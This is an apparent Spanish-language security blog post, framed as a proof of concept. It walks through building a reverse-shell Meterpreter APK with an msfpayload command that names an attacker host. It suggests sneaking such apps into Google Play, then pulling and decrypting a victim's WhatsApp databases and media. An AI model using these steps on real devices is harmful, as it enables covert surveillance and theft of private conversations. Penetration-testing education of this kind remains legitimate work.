Alejandro Ramos (@aramosf) liberó un script en Python dónde teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada.

Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp

¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.

PoC: El llamado Wonderland

En algunos ámbitos Meterpreter, una famosa shellcode utilizada por muchos pentesters en el maravilloso framework de explotación Metasploit, es conocido como Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta shellcode en un dispositivo móvil es robar la base de datos de WhatsApp, y después descifrarla.

Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por Google Play, ¿En serio?

En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un Meterpreter. Además, hemos visto que hay peleas por hacer fakes app de WhatsApp, que hay quién se ha dado de alta como Apple Inc, los que se dedican a hacer estafas de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!

Figura 2: Fakes App de un supuesto Apple Inc en Google Play

La primera vía sería utilizar la herramienta msfpayload para generar un APK instalable en los dispositivos Android, pero este APK no podrá ser subido a Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un APK para Android que ejecute una Meterpreter inversa:

msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk

Figura 2: Creando una APK con un Meterpreter

La otra vía sería desarrollar una APK que pida órdenes, por ejemplo, mediante un XML y que al recibir una instrucción maliciosa en ese XML se conecte a un servidor dónde le esperaremos para otorgarle un JAR, dónde empaquetado se encuentre la shellcode de Meterpreter. Este JAR se puede ejecutar dentro del provider de la app que la víctima descarga del Google Play. ¿En serio? Sigamos adelante…

Ahora una vez que tenemos de alguna de las dos formas preparadas la APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el JAR con la shellcode. Para ello utilizamos la herramienta del framework de Metasploit denominada msfconsole, tal y como se puede ver en la imagen.

Figura 4: Usando msfconsole de Metasploit desde un Kali Linux

Tras ejecutar la instrucción exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el JAR que completará la segunda stage de la ejecución de la shell Meterpreter.

En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la APK sea distribuida a través de un market, y si es oficial el desastre sería mayor.

Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter

Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo. Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.

Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos aprovecharnos de no ser root y encontrar información muy interesante.

Figura 6: Ejecutando comandos en el sistema

Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de la SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la ruta /sdcard/WhatsApp podemos encontrar los siguientes elementos: backups, databases, media y profile pictures.

Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra shellcode podría descargarlo a nuestro equipo.

Figura 7: El contenido transmitido por WhatsApp

En la imagen se ve /storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como /sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este comando es download, y su sintaxis es download [origen] [destino].

En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la SDCard.

Figura 8: Descargando las imágenes enviadas por WhatsApp

Para llevar a cabo la operativa con las bases de datos con los mensajes de WhatsApp es exactamente igual, solo que la instrucción en este caso sería download /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local].

Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5

Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el script que comentábamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.

Figura 10: Descifrando la base de datos crypt5 de WhatsApp

Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominado SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.

Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager

Además, una vez que tienes los mensajes, el siguiente paso sería recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de Recuperar mensajes de WhatsApp borrados.

Autor: Pablo González 
Twitter: @PabloGonzalezPe